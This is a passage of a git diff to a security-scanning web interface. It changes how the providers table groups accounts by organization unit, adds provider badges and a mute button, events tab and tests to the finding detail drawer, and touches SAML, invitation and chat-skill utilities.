+ providers?: { + data?: Array<{ id: string; type: string }>; + }; + } + | undefined, +): string[] { + return relationships?.providers?.data?.map((provider) => provider.id) ?? []; +} + +function getOrganizationUnitParentId( + organizationUnit: OrganizationUnitResource, +): string | null { + return organizationUnit.relationships.parent?.data?.id ?? null; +} + +function getProviderRowsByIds({ + providerIds, + providerLookup, +}: { + providerIds: string[]; + providerLookup: Map; +}): ProvidersProviderRow[] { + return providerIds + .map((providerId) => providerLookup.get(providerId)) + .filter((provider): provider is ProvidersProviderRow => Boolean(provider)); +} + +function countProviderRows(rows: ProvidersTableRow[]): number { + return rows.reduce((total, row) => { + if (row.rowType === PROVIDERS_ROW_TYPE.PROVIDER) { + return total + 1; + } + + return total + countProviderRows(row.subRows); + }, 0); +} + +function getOrganizationUnitRelationshipId( + provider: ProvidersProviderRow, +): string | null { + return ( + provider.relationships.organization_unit?.data?.id ?? + provider.relationships.organizational_unit?.data?.id ?? + null + ); +} + +function buildOrganizationUnitRows({ + organizationId, + organizationUnits, + providerLookup, + providersByOrganizationUnitId, + useParentIdRelationships, + parentExternalId, + parentOrganizationUnitId, + maxDepth = 10, +}: { + organizationId: string; + organizationUnits: OrganizationUnitResource[]; + parentExternalId: string | null; + parentOrganizationUnitId: string | null; + providerLookup: Map; + providersByOrganizationUnitId: Map; + useParentIdRelationships: boolean; + maxDepth?: number; +}): ProvidersOrganizationRow[] { + if (maxDepth <= 0) { + return []; + } + + return organizationUnits + .filter( + (organizationUnit) => + organizationUnit.relationships.organization.data.id === + organizationId && + (useParentIdRelationships + ? getOrganizationUnitParentId(organizationUnit) === + parentOrganizationUnitId + : organizationUnit.attributes.parent_external_id === + parentExternalId), + ) + .map((organizationUnit) => { + const childOrganizationUnitRows = buildOrganizationUnitRows({ + organizationId, + organizationUnits, + parentOrganizationUnitId: organizationUnit.id, + parentExternalId: organizationUnit.attributes.external_id, + providerLookup, + providersByOrganizationUnitId, + useParentIdRelationships, + maxDepth: maxDepth - 1, + }); + const providerRowsFromRelationships = getProviderRowsByIds({ + providerIds: getRelationshipProviderIds(organizationUnit.relationships), + providerLookup, + }); + const providerRows = + providerRowsFromRelationships.length > 0 + ? providerRowsFromRelationships + : (providersByOrganizationUnitId.get(organizationUnit.id) ?? []); + const subRows = [...childOrganizationUnitRows, ...providerRows]; + + return createOrganizationRow({ + groupKind: PROVIDERS_GROUP_KIND.ORGANIZATION_UNIT, + id: organizationUnit.id, + name: organizationUnit.attributes.name, + externalId: organizationUnit.attributes.external_id, + organizationId, + parentExternalId: organizationUnit.attributes.parent_external_id, + subRows, + }); + }) + .filter((organizationUnitRow) => organizationUnitRow.subRows.length > 0); +} + +export function buildProvidersTableRows({ + isCloud, + organizations, + organizationUnits, + providers, +}: ProvidersTableRowsInput): ProvidersTableRow[] { + if (!isCloud) { + return providers; + } + + const providerLookup = new Map( + providers.map((provider) => [provider.id, provider] as const), + ); + const providersByOrganizationId = new Map(); + const providersByOrganizationUnitId = new Map< + string, + ProvidersProviderRow[] + >(); + + for (const provider of providers) { + const organizationId = + provider.relationships.organization?.data?.id ?? null; + const organizationUnitId = getOrganizationUnitRelationshipId(provider); + + if (organizationUnitId) { + const organizationUnitProviders = + providersByOrganizationUnitId.get(organizationUnitId) ?? []; + organizationUnitProviders.push(provider); + providersByOrganizationUnitId.set( + organizationUnitId, + organizationUnitProviders, + ); + continue; + } + + if (organizationId) { + const organizationProviders = + providersByOrganizationId.get(organizationId) ?? []; + organizationProviders.push(provider); + providersByOrganizationId.set(organizationId, organizationProviders); + } + } + + const useParentIdRelationships = organizationUnits.some( + (organizationUnit) => organizationUnit.relationships.parent !== undefined, + ); + + // Build a set of provider IDs that are assigned to OUs, so we can + // exclude them from the org's direct children and avoid duplication. + const providersAssignedToOu = new Set( + Array.from(providersByOrganizationUnitId.values()).flatMap((providers) => + providers.map((p) => p.id), + ), + ); + + const organizationRows = organizations + .map((organization) => { + const organizationUnitRows = buildOrganizationUnitRows({ + organizationId: organization.id, + organizationUnits, + parentOrganizationUnitId: null, + parentExternalId: organization.attributes.root_external_id, + providerLookup, + providersByOrganizationUnitId, + useParentIdRelationships, + }); + + // Collect all provider IDs already placed inside OUs to avoid duplication + // at the org level. This covers both relationship-based and fallback assignments. + const providersInOus = new Set(); + function collectOuProviderIds(rows: ProvidersTableRow[]) { + for (const row of rows) { + if (row.rowType === PROVIDERS_ROW_TYPE.PROVIDER) { + providersInOus.add(row.id); + } else { + collectOuProviderIds(row.subRows); + } + } + } + collectOuProviderIds(organizationUnitRows); + + const organizationProvidersFromRelationships = getProviderRowsByIds({ + providerIds: getRelationshipProviderIds(organization.relationships), + providerLookup, + }).filter( + (provider) => + !providersAssignedToOu.has(provider.id) && + !providersInOus.has(provider.id), + ); + const organizationProviders = + organizationProvidersFromRelationships.length > 0 + ? organizationProvidersFromRelationships + : (providersByOrganizationId.get(organization.id) ?? []).filter( + (provider) => !providersInOus.has(provider.id), + ); + const subRows = [...organizationProviders, ...organizationUnitRows]; + + return createOrganizationRow({ + groupKind: PROVIDERS_GROUP_KIND.ORGANIZATION, + id: organization.id, + name: organization.attributes.name, + externalId: organization.attributes.external_id, + organizationId: organization.id, + parentExternalId: organization.attributes.root_external_id, + subRows, + }); + }) + .filter((organizationRow) => organizationRow.subRows.length > 0); + + const assignedProviderIds = new Set(); + + function collectAssignedProviderIds(rows: ProvidersTableRow[]) { + for (const row of rows) { + if (row.rowType === PROVIDERS_ROW_TYPE.PROVIDER) { + assignedProviderIds.add(row.id); + continue; + } + + collectAssignedProviderIds(row.subRows); + } + } + + collectAssignedProviderIds(organizationRows); + const orphanProviders = providers.filter( + (provider) => !assignedProviderIds.has(provider.id), + ); + + return [...organizationRows, ...orphanProviders]; +} + +export async function loadProvidersAccountsViewData({ + isCloud, + searchParams, +}: ProvidersAccountsViewInput): Promise { + const page = parseInt(searchParams.page?.toString() ?? "1", 10); + const pageSize = parseInt(searchParams.pageSize?.toString() ?? "10", 10); + const { encodedSort } = extractSortAndKey(searchParams); + const { filters, query } = extractFiltersAndQuery(searchParams); + + const providerFilters = { ...filters }; + + // Map provider_type__in (used by ProviderTypeSelector) to provider__in (API param) + const providerTypeFilter = + providerFilters[`filter[${PROVIDERS_PAGE_FILTER.PROVIDER_TYPE}]`]; + if (providerTypeFilter) { + providerFilters[`filter[${PROVIDERS_PAGE_FILTER.PROVIDER}]`] = + providerTypeFilter; + } + + delete providerFilters[`filter[${PROVIDERS_PAGE_FILTER.PROVIDER_TYPE}]`]; + + const emptyOrganizationsResponse: OrganizationListResponse = { + data: [], + }; + const emptyOrganizationUnitsResponse: OrganizationUnitListResponse = { + data: [], + }; + + const [ + providersResponse, + allProvidersResponse, + scansResponse, + organizationsResponse, + organizationUnitsResponse, + ] = await Promise.all([ + resolveActionResult( + getProviders({ + filters: providerFilters, + page, + pageSize, + query, + sort: encodedSort, + }), + ), + // Unfiltered fetch for ProviderTypeSelector — only needs distinct types; + // TODO: Replace with a dedicated lightweight endpoint when available. + resolveActionResult(getProviders({ pageSize: 500 })), + // Fetch active scheduled scans to determine daily schedule per provider + resolveActionResult( + getScans({ + pageSize: 500, + filters: { + "filter[trigger]": SCAN_TRIGGER.SCHEDULED, + "filter[state__in]": "scheduled,available", + }, + }), + ), + isCloud + ? listOrganizationsSafe() + : Promise.resolve(emptyOrganizationsResponse), + isCloud + ? listOrganizationUnitsSafe() + : Promise.resolve(emptyOrganizationUnitsResponse), + ]); + + const scheduledProviderIds = buildScheduledProviderIds( + scansResponse?.data ?? [], + ); + + const orgs = organizationsResponse?.data ?? []; + const ous = organizationUnitsResponse?.data ?? []; + const providers = enrichProviders(providersResponse, scheduledProviderIds); + + const rows = buildProvidersTableRows({ + isCloud, + organizations: orgs, + organizationUnits: ous, + providers, + }); + + return { + filters: createProvidersFilters(), + metadata: providersResponse?.meta, + providers: allProvidersResponse?.data ?? [], + rows, + }; +} + +export { PROVIDERS_ROW_TYPE }; diff --git a/ui/components/compliance/compliance-header/compliance-scan-info.tsx b/ui/components/compliance/compliance-header/compliance-scan-info.tsx index 086a9183ed..76bf8e46be 100644 --- a/ui/components/compliance/compliance-header/compliance-scan-info.tsx +++ b/ui/components/compliance/compliance-header/compliance-scan-info.tsx @@ -20,24 +20,23 @@ interface ComplianceScanInfoProps { export const ComplianceScanInfo = ({ scan }: ComplianceScanInfoProps) => { return ( -
-
+
+
- -
+ +
-

+

{scan.attributes.name || "- -"}

diff --git a/ui/components/compliance/compliance-header/scan-selector.tsx b/ui/components/compliance/compliance-header/scan-selector.tsx index 160b27f3ed..a330c35be9 100644 --- a/ui/components/compliance/compliance-header/scan-selector.tsx +++ b/ui/components/compliance/compliance-header/scan-selector.tsx @@ -39,7 +39,7 @@ export const ScanSelector = ({ } }} > - + {selectedScan ? ( @@ -48,9 +48,13 @@ export const ScanSelector = ({ )} - + {scans.map((scan) => ( - + ))} diff --git a/ui/components/filters/custom-provider-inputs.tsx b/ui/components/filters/custom-provider-inputs.tsx index 46937401dc..3e435b3fd7 100644 --- a/ui/components/filters/custom-provider-inputs.tsx +++ b/ui/components/filters/custom-provider-inputs.tsx @@ -6,6 +6,7 @@ import { GCPProviderBadge, GitHubProviderBadge, IacProviderBadge, + ImageProviderBadge, KS8ProviderBadge, M365ProviderBadge, MongoDBAtlasProviderBadge, @@ -85,6 +86,15 @@ export const CustomProviderInputIac = () => { ); }; +export const CustomProviderInputImage = () => { + return ( +
+ +

Container Registry

+
+ ); +}; + export const CustomProviderInputOracleCloud = () => { return (
diff --git a/ui/components/findings/table/column-findings.tsx b/ui/components/findings/table/column-findings.tsx index 486a0505df..ea2c8ae464 100644 --- a/ui/components/findings/table/column-findings.tsx +++ b/ui/components/findings/table/column-findings.tsx @@ -33,20 +33,14 @@ const getResourceData = ( row: { original: FindingProps }, field: keyof FindingProps["relationships"]["resource"]["attributes"], ) => { - return ( - row.original.relationships?.resource?.attributes?.[field] || - `No ${field} found in resource` - ); + return row.original.relationships?.resource?.attributes?.[field] || "-"; }; const getProviderData = ( row: { original: FindingProps }, field: keyof FindingProps["relationships"]["provider"]["attributes"], ) => { - return ( - row.original.relationships?.provider?.attributes?.[field] || - `No ${field} found in provider` - ); + return row.original.relationships?.provider?.attributes?.[field] || "-"; }; // Component for finding title that opens the detail drawer @@ -186,6 +180,10 @@ export function getColumnFindings( cell: ({ row }) => { const resourceName = getResourceData(row, "name"); + if (resourceName === "-") { + return

-

; + } + return ( ({ + useRouter: () => ({ refresh: mockRefresh }), + usePathname: () => "/findings", + useSearchParams: () => new URLSearchParams(), +})); + +// Mock @/components/shadcn to avoid next-auth import chain +vi.mock("@/components/shadcn", () => { + const Slot = ({ children }: { children: React.ReactNode }) => <>{children}; + return { + Button: ({ + children, + ...props + }: React.ButtonHTMLAttributes & { + variant?: string; + size?: string; + }) => , + Drawer: ({ children }: { children: React.ReactNode }) => <>{children}, + DrawerClose: ({ children }: { children: React.ReactNode }) => ( + <>{children} + ), + DrawerContent: ({ children }: { children: React.ReactNode }) => ( + <>{children} + ), + DrawerDescription: ({ children }: { children: React.ReactNode }) => ( + <>{children} + ), + DrawerHeader: ({ children }: { children: React.ReactNode }) => ( + <>{children} + ), + DrawerTitle: ({ children }: { children: React.ReactNode }) => ( + <>{children} + ), + DrawerTrigger: Slot, + InfoField: ({ + children, + label, + }: { + children: React.ReactNode; + label: string; + variant?: string; + }) => ( +
+ {label} + {children} +
+ ), + Tabs: ({ children }: { children: React.ReactNode }) => <>{children}, + TabsContent: ({ children }: { children: React.ReactNode }) => ( + <>{children} + ), + TabsList: ({ children }: { children: React.ReactNode }) => <>{children}, + TabsTrigger: ({ children }: { children: React.ReactNode }) => ( + <>{children} + ), + Tooltip: ({ children }: { children: React.ReactNode }) => <>{children}, + TooltipContent: ({ children }: { children: React.ReactNode }) => ( + <>{children} + ), + TooltipTrigger: Slot, + }; +}); + +vi.mock("@/components/ui/code-snippet/code-snippet", () => ({ + CodeSnippet: ({ value }: { value: string }) => {value}, +})); + +vi.mock("@/components/ui/custom/custom-link", () => ({ + CustomLink: ({ children }: { children: React.ReactNode }) => ( + {children} + ), +})); + +vi.mock("@/components/ui/entities", () => ({ + EntityInfo: () =>
, +})); + +vi.mock("@/components/ui/entities/date-with-time", () => ({ + DateWithTime: ({ dateTime }: { dateTime: string }) => {dateTime}, +})); + +vi.mock("@/components/ui/table/severity-badge", () => ({ + SeverityBadge: ({ severity }: { severity: string }) => ( + {severity} + ), +})); + +vi.mock("@/components/ui/table/status-finding-badge", () => ({ + FindingStatus: {}, + StatusFindingBadge: ({ status }: { status: string }) => {status}, +})); + +vi.mock("@/lib/iac-utils", () => ({ + buildGitFileUrl: () => null, + extractLineRangeFromUid: () => null, +})); + +vi.mock("@/lib/utils", () => ({ + cn: (...args: string[]) => args.filter(Boolean).join(" "), +})); + +// Mock child components that are not under test +vi.mock("../mute-findings-modal", () => ({ + MuteFindingsModal: ({ + isOpen, + findingIds, + }: { + isOpen: boolean; + findingIds: string[]; + }) => + isOpen ? ( +
Muting {findingIds.length} finding(s)
+ ) : null, +})); + +vi.mock("../muted", () => ({ + Muted: ({ isMuted }: { isMuted: boolean }) => + isMuted ? Muted : null, +})); + +vi.mock("./delta-indicator", () => ({ + DeltaIndicator: () => null, +})); + +vi.mock("@/components/shared/events-timeline/events-timeline", () => ({ + EventsTimeline: () =>
, +})); + +vi.mock("react-markdown", () => ({ + default: ({ children }: { children: string }) => {children}, +})); + +const baseFinding: FindingProps = { + type: "findings", + id: "finding-123", + attributes: { + uid: "uid-123", + delta: null, + status: "FAIL", + status_extended: "S3 bucket is publicly accessible", + severity: "high", + check_id: "s3_bucket_public_access", + muted: false, + check_metadata: { + risk: "Public access risk", + notes: "", + checkid: "s3_bucket_public_access", + provider: "aws", + severity: "high", + checktype: [], + dependson: [], + relatedto: [], + categories: ["security"], + checktitle: "S3 Bucket Public Access Check", + compliance: null, + relatedurl: "", + description: "Checks if S3 buckets are publicly accessible", + remediation: { + code: { cli: "", other: "", nativeiac: "", terraform: "" }, + recommendation: { url: "", text: "" }, + }, + servicename: "s3", + checkaliases: [], + resourcetype: "AwsS3Bucket", + subservicename: "", + resourceidtemplate: "", + }, + raw_result: null, + inserted_at: "2024-01-01T00:00:00Z", + updated_at: "2024-01-02T00:00:00Z", + first_seen_at: "2024-01-01T00:00:00Z", + }, + relationships: { + resources: { data: [{ type: "resources", id: "res-1" }] }, + scan: { + data: { type: "scans", id: "scan-1" }, + attributes: { + name: "Daily Scan", + trigger: "scheduled", + state: "completed", + unique_resource_count: 50, + progress: 100, + scanner_args: { checks_to_execute: [] }, + duration: 120, + started_at: "2024-01-01T00:00:00Z", + inserted_at: "2024-01-01T00:00:00Z", + completed_at: "2024-01-01T00:02:00Z", + scheduled_at: null, + next_scan_at: "2024-01-02T00:00:00Z", + }, + }, + resource: { + data: [{ type: "resources", id: "res-1" }], + id: "res-1", + attributes: { + uid: "arn:aws:s3:::my-bucket", + name: "my-bucket", + region: "us-east-1", + service: "s3", + tags: {}, + type: "AwsS3Bucket", + inserted_at: "2024-01-01T00:00:00Z", + updated_at: "2024-01-01T00:00:00Z", + details: null, + partition: "aws", + }, + relationships: { + provider: { data: { type: "providers", id: "prov-1" } }, + findings: { + meta: { count: 1 }, + data: [{ type: "findings", id: "finding-123" }], + }, + }, + links: { self: "/resources/res-1" }, + }, + provider: { + data: { type: "providers", id: "prov-1" }, + attributes: { + provider: "aws", + uid: "123456789012", + alias: "my-account", + connection: { + connected: true, + last_checked_at: "2024-01-01T00:00:00Z", + }, + inserted_at: "2024-01-01T00:00:00Z", + updated_at: "2024-01-01T00:00:00Z", + }, + relationships: { + secret: { data: { type: "provider-secrets", id: "secret-1" } }, + }, + links: { self: "/providers/prov-1" }, + }, + }, + links: { self: "/findings/finding-123" }, +}; + +describe("FindingDetail", () => { + it("shows the Mute button for non-muted findings", () => { + render(); + + expect(screen.getByRole("button", { name: /mute/i })).toBeInTheDocument(); + }); + + it("hides the Mute button for muted findings", () => { + const mutedFinding: FindingProps = { + ...baseFinding, + attributes: { ...baseFinding.attributes, muted: true }, + }; + + render(); + + expect(screen.queryByRole("button", { name: /mute/i })).toBeNull(); + }); + + it("opens the mute modal when clicking the Mute button", async () => { + const user = userEvent.setup(); + + render(); + + expect(screen.queryByTestId("mute-modal")).toBeNull(); + + await user.click(screen.getByRole("button", { name: /mute/i })); + + expect(screen.getByTestId("mute-modal")).toBeInTheDocument(); + }); + + it("does not render the mute modal for muted findings", () => { + const mutedFinding: FindingProps = { + ...baseFinding, + attributes: { ...baseFinding.attributes, muted: true }, + }; + + render(); + + expect(screen.queryByTestId("mute-modal")).toBeNull(); + }); + + it("shows the muted badge for muted findings", () => { + const mutedFinding: FindingProps = { + ...baseFinding, + attributes: { ...baseFinding.attributes, muted: true }, + }; + + render(); + + expect(screen.getByTestId("muted-badge")).toBeInTheDocument(); + }); +}); diff --git a/ui/components/findings/table/finding-detail.tsx b/ui/components/findings/table/finding-detail.tsx index c96e8e0279..d8a3918e14 100644 --- a/ui/components/findings/table/finding-detail.tsx +++ b/ui/components/findings/table/finding-detail.tsx @@ -1,11 +1,12 @@ "use client"; -import { ExternalLink, Link, X } from "lucide-react"; -import { usePathname, useSearchParams } from "next/navigation"; -import type { ReactNode } from "react"; +import { ExternalLink, Link, VolumeX, X } from "lucide-react"; +import { usePathname, useRouter, useSearchParams } from "next/navigation"; +import { type ReactNode, useEffect, useState } from "react"; import ReactMarkdown from "react-markdown"; import { + Button, Drawer, DrawerClose, DrawerContent, @@ -22,6 +23,7 @@ import { TooltipContent, TooltipTrigger, } from "@/components/shadcn"; +import { EventsTimeline } from "@/components/shared/events-timeline/events-timeline"; import { CodeSnippet } from "@/components/ui/code-snippet/code-snippet"; import { CustomLink } from "@/components/ui/custom/custom-link"; import { EntityInfo } from "@/components/ui/entities"; @@ -35,6 +37,7 @@ import { buildGitFileUrl, extractLineRangeFromUid } from "@/lib/iac-utils"; import { cn } from "@/lib/utils"; import { FindingProps, ProviderType } from "@/types"; +import { MuteFindingsModal } from "../mute-findings-modal"; import { Muted } from "../muted"; import { DeltaIndicator } from "./delta-indicator"; @@ -82,11 +85,19 @@ export const FindingDetail = ({ }: FindingDetailProps) => { const finding = findingDetails; const attributes = finding.attributes; - const resource = finding.relationships.resource.attributes; - const scan = finding.relationships.scan.attributes; - const providerDetails = finding.relationships.provider.attributes; + const resource = finding.relationships?.resource?.attributes; + const scan = finding.relationships?.scan?.attributes; + const providerDetails = finding.relationships?.provider?.attributes; + const router = useRouter(); const pathname = usePathname(); const searchParams = useSearchParams(); + const [isMuteModalOpen, setIsMuteModalOpen] = useState(false); + + const [activeTab, setActiveTab] = useState("general"); + + useEffect(() => { + setActiveTab("general"); + }, [findingDetails.id]); const copyFindingUrl = () => { const params = new URLSearchParams(searchParams.toString()); @@ -97,7 +108,7 @@ export const FindingDetail = ({ // Build Git URL for IaC findings const gitUrl = - providerDetails.provider === "iac" + providerDetails?.provider === "iac" && resource ? buildGitFileUrl( providerDetails.uid, resource.name, @@ -106,6 +117,21 @@ export const FindingDetail = ({ ) : null; + const handleMuteComplete = () => { + setIsMuteModalOpen(false); + onOpenChange?.(false); + router.refresh(); + }; + + const muteModal = !attributes.muted && ( + + ); + const content = (
{/* Header */} @@ -153,30 +179,45 @@ export const FindingDetail = ({
{/* Tabs */} - - - General - Resources - Scans - + +
+ + General + Resources + Scans + Events + -

- Here is an overview of this finding: -

+ {!attributes.muted && ( + + )} +
{/* General Tab */} +

+ Here is an overview of this finding: +

- + {providerDetails && ( + + )} {attributes.check_metadata.servicename} - {resource.region} + {resource?.region ?? "-"}
@@ -305,119 +346,145 @@ export const FindingDetail = ({ {/* Resources Tab */} - {providerDetails.provider === "iac" && gitUrl && ( -
- - - - - View in Repository - - - - Go to Resource in the Repository - - -
- )} + {resource ? ( + <> + {providerDetails?.provider === "iac" && gitUrl && ( +
+ + + + + View in Repository + + + + Go to Resource in the Repository + + +
+ )} -
- - {renderValue(resource.name)} - - - {renderValue(resource.type)} - -
- -
- - {renderValue(resource.service)} - - {renderValue(resource.region)} -
- -
- - {renderValue(resource.partition)} - - - {renderValue(resource.details)} - -
- - - - - - {resource.tags && Object.entries(resource.tags).length > 0 && ( -
-

- Tags -

- {Object.entries(resource.tags).map(([key, value]) => ( - - {renderValue(value)} - - ))} + + {renderValue(resource.name)} + + + {renderValue(resource.type)} +
-
- )} -
- - - - - - -
+
+ + {renderValue(resource.service)} + + + {renderValue(resource.region)} + +
+ +
+ + {renderValue(resource.partition)} + + + {renderValue(resource.details)} + +
+ + + + + + {resource.tags && Object.entries(resource.tags).length > 0 && ( +
+

+ Tags +

+
+ {Object.entries(resource.tags).map(([key, value]) => ( + + {renderValue(value)} + + ))} +
+
+ )} + +
+ + + + + + +
+ + ) : ( +

+ Resource information is not available. +

+ )}
{/* Scans Tab */} -
- {scan.name || "N/A"} - - {scan.unique_resource_count} - - {scan.progress}% -
+ {scan ? ( + <> +
+ {scan.name || "N/A"} + + {scan.unique_resource_count} + + {scan.progress}% +
-
- {scan.trigger} - {scan.state} - - {formatDuration(scan.duration)} - -
+
+ {scan.trigger} + {scan.state} + + {formatDuration(scan.duration)} + +
-
- - - - - - -
+
+ + + + + + +
-
- - - - {scan.scheduled_at && ( - - - - )} -
+
+ + + + {scan.scheduled_at && ( + + + + )} +
+ + ) : ( +

+ Scan information is not available. +

+ )} +
+ + {/* Events Tab */} + +
@@ -425,29 +492,37 @@ export const FindingDetail = ({ // If no trigger, render content directly (inline mode) if (!trigger) { - return content; + return ( + <> + {muteModal} + {content} + + ); } - // With trigger, wrap in Drawer + // With trigger, wrap in Drawer — modal rendered outside to avoid nested overlay issues return ( - - {trigger} - - - Finding Details - View the finding details - - - - Close - - {content} - - + <> + {muteModal} + + {trigger} + + + Finding Details + View the finding details + + + + Close + + {content} + + + ); }; diff --git a/ui/components/findings/table/provider-icon-cell.tsx b/ui/components/findings/table/provider-icon-cell.tsx index 613d236985..d56d82b5c9 100644 --- a/ui/components/findings/table/provider-icon-cell.tsx +++ b/ui/components/findings/table/provider-icon-cell.tsx @@ -5,7 +5,9 @@ import { CloudflareProviderBadge, GCPProviderBadge, GitHubProviderBadge, + GoogleWorkspaceProviderBadge, IacProviderBadge, + ImageProviderBadge, KS8ProviderBadge, M365ProviderBadge, MongoDBAtlasProviderBadge, @@ -21,7 +23,9 @@ export const PROVIDER_ICONS = { kubernetes: KS8ProviderBadge, m365: M365ProviderBadge, github: GitHubProviderBadge, + googleworkspace: GoogleWorkspaceProviderBadge, iac: IacProviderBadge, + image: ImageProviderBadge, oraclecloud: OracleCloudProviderBadge, mongodbatlas: MongoDBAtlasProviderBadge, alibabacloud: AlibabaCloudProviderBadge, diff --git a/ui/components/graphs/sankey-chart.tsx b/ui/components/graphs/sankey-chart.tsx index fe7708e7a1..fc7a913444 100644 --- a/ui/components/graphs/sankey-chart.tsx +++ b/ui/components/graphs/sankey-chart.tsx @@ -5,7 +5,7 @@ import { useRouter, useSearchParams } from "next/navigation"; import { useEffect, useState } from "react"; import { Rectangle, ResponsiveContainer, Sankey, Tooltip } from "recharts"; -import { PROVIDER_ICONS } from "@/components/icons/providers-badge"; +import { PROVIDER_BADGE_BY_NAME } from "@/components/icons/providers-badge"; import { initializeChartColors } from "@/lib/charts/colors"; import { PROVIDER_DISPLAY_NAMES } from "@/types/providers"; import { SEVERITY_FILTER_MAP } from "@/types/severities"; @@ -209,7 +209,7 @@ const CustomNode = ({ } }; - const IconComponent = PROVIDER_ICONS[nodeName]; + const IconComponent = PROVIDER_BADGE_BY_NAME[nodeName]; const hasIcon = IconComponent !== undefined; const iconSize = 24; const iconGap = 8; @@ -620,7 +620,8 @@ export function SankeyChart({

{zeroDataProviders.map((provider) => { - const IconComponent = PROVIDER_ICONS[provider.displayName]; + const IconComponent = + PROVIDER_BADGE_BY_NAME[provider.displayName]; return (
= ({ + size, + width, + height, + ...props +}) => ( + +); diff --git a/ui/components/icons/providers-badge/iac-provider-badge.tsx b/ui/components/icons/providers-badge/iac-provider-badge.tsx index 9a701606ed..24302e2efd 100644 --- a/ui/components/icons/providers-badge/iac-provider-badge.tsx +++ b/ui/components/icons/providers-badge/iac-provider-badge.tsx @@ -15,30 +15,23 @@ export const IacProviderBadge: React.FC = ({ focusable="false" height={size || height} role="presentation" - viewBox="0 0 24 24" + viewBox="0 0 256 256" width={size || width} {...props} > - + - - + > + {/* Slash: / */} + + {/* Left bracket: < */} + + {/* Right bracket: > */} + + ); diff --git a/ui/components/icons/providers-badge/image-provider-badge.tsx b/ui/components/icons/providers-badge/image-provider-badge.tsx new file mode 100644 index 0000000000..dc5d27c7e1 --- /dev/null +++ b/ui/components/icons/providers-badge/image-provider-badge.tsx @@ -0,0 +1,36 @@ +import { FC } from "react"; + +import { IconSvgProps } from "@/types"; + +export const ImageProviderBadge: FC = ({ + size, + width, + height, + ...props +}) => ( + +); diff --git a/ui/components/icons/providers-badge/index.ts b/ui/components/icons/providers-badge/index.ts index 9b8b5e7a82..be035c9e7d 100644 --- a/ui/components/icons/providers-badge/index.ts +++ b/ui/components/icons/providers-badge/index.ts @@ -8,7 +8,9 @@ import { AzureProviderBadge } from "./azure-provider-badge"; import { CloudflareProviderBadge } from "./cloudflare-provider-badge"; import { GCPProviderBadge } from "./gcp-provider-badge"; import { GitHubProviderBadge } from "./github-provider-badge"; +import { GoogleWorkspaceProviderBadge } from "./googleworkspace-provider-badge"; import { IacProviderBadge } from "./iac-provider-badge"; +import { ImageProviderBadge } from "./image-provider-badge"; import { KS8ProviderBadge } from "./ks8-provider-badge"; import { M365ProviderBadge } from "./m365-provider-badge"; import { MongoDBAtlasProviderBadge } from "./mongodbatlas-provider-badge"; @@ -22,7 +24,9 @@ export { CloudflareProviderBadge, GCPProviderBadge, GitHubProviderBadge, + GoogleWorkspaceProviderBadge, IacProviderBadge, + ImageProviderBadge, KS8ProviderBadge, M365ProviderBadge, MongoDBAtlasProviderBadge, @@ -31,14 +35,16 @@ export { }; // Map provider display names to their icon components -export const PROVIDER_ICONS: Record> = { +export const PROVIDER_BADGE_BY_NAME: Record> = { AWS: AWSProviderBadge, Azure: AzureProviderBadge, "Google Cloud": GCPProviderBadge, Kubernetes: KS8ProviderBadge, "Microsoft 365": M365ProviderBadge, GitHub: GitHubProviderBadge, + "Google Workspace": GoogleWorkspaceProviderBadge, "Infrastructure as Code": IacProviderBadge, + "Container Registry": ImageProviderBadge, "Oracle Cloud Infrastructure": OracleCloudProviderBadge, "MongoDB Atlas": MongoDBAtlasProviderBadge, "Alibaba Cloud": AlibabaCloudProviderBadge, diff --git a/ui/components/integrations/saml/saml-config-form.tsx b/ui/components/integrations/saml/saml-config-form.tsx index d52e4e4ba7..daeb301832 100644 --- a/ui/components/integrations/saml/saml-config-form.tsx +++ b/ui/components/integrations/saml/saml-config-form.tsx @@ -14,9 +14,9 @@ import { createSamlConfig, updateSamlConfig } from "@/actions/integrations"; import { AddIcon } from "@/components/icons"; import { Button, Card, CardContent, CardHeader } from "@/components/shadcn"; import { useToast } from "@/components/ui"; +import { CodeSnippet } from "@/components/ui/code-snippet/code-snippet"; import { CustomServerInput } from "@/components/ui/custom"; import { CustomLink } from "@/components/ui/custom/custom-link"; -import { SnippetChip } from "@/components/ui/entities"; import { FormButtons } from "@/components/ui/form"; import { apiBaseUrl } from "@/lib"; @@ -258,7 +258,11 @@ export const SamlConfigForm = ({ : `${apiBaseUrl}/accounts/saml/your-domain.com/acs/`; return ( -
+
Need help configuring SAML SSO?{" "} ACS URL: -
@@ -315,9 +319,9 @@ export const SamlConfigForm = ({ Audience: -
diff --git a/ui/components/invitations/invitation-details.tsx b/ui/components/invitations/invitation-details.tsx index 38d831bbfa..0df447907f 100644 --- a/ui/components/invitations/invitation-details.tsx +++ b/ui/components/invitations/invitation-details.tsx @@ -1,11 +1,11 @@ "use client"; -import { Snippet } from "@heroui/snippet"; import Link from "next/link"; import { AddIcon } from "../icons"; import { Button, Card, CardContent, CardHeader } from "../shadcn"; import { Separator } from "../shadcn/separator/separator"; +import { CodeSnippet } from "../ui/code-snippet/code-snippet"; import { DateWithTime } from "../ui/entities"; interface InvitationDetailsProps { @@ -89,20 +89,7 @@ export const InvitationDetails = ({ attributes }: InvitationDetailsProps) => { Share this link with the user: -
- -

{invitationLink}

-
-
+
diff --git a/ui/components/lighthouse/chat-utils.ts b/ui/components/lighthouse/chat-utils.ts index 8af28b83cb..70ac9e0b05 100644 --- a/ui/components/lighthouse/chat-utils.ts +++ b/ui/components/lighthouse/chat-utils.ts @@ -9,6 +9,7 @@ import { MESSAGE_ROLES, MESSAGE_STATUS, META_TOOLS, + SKILL_PREFIX, } from "@/lib/lighthouse/constants"; import type { ChainOfThoughtData, Message } from "@/lib/lighthouse/types"; @@ -70,17 +71,28 @@ export function getChainOfThoughtStepLabel( return `Executing ${tool}`; } + if (metaTool === META_TOOLS.LOAD_SKILL && tool) { + const skillId = tool.startsWith(SKILL_PREFIX) + ? tool.slice(SKILL_PREFIX.length) + : tool; + return `Loading ${skillId} skill`; + } + return tool || "Completed"; } /** - * Determines if a meta-tool is a wrapper tool (describe_tool or execute_tool) + * Determines if a tool name is a meta-tool (describe_tool, execute_tool, or load_skill) * * @param metaTool - The meta-tool name to check * @returns True if it's a meta-tool, false otherwise */ export function isMetaTool(metaTool: string): boolean { - return metaTool === META_TOOLS.DESCRIBE || metaTool === META_TOOLS.EXECUTE; + return ( + metaTool === META_TOOLS.DESCRIBE || + metaTool === META_TOOLS.EXECUTE || + metaTool === META_TOOLS.LOAD_SKILL + ); } /** diff --git a/ui/components/manage-groups/forms/delete-group-form.tsx 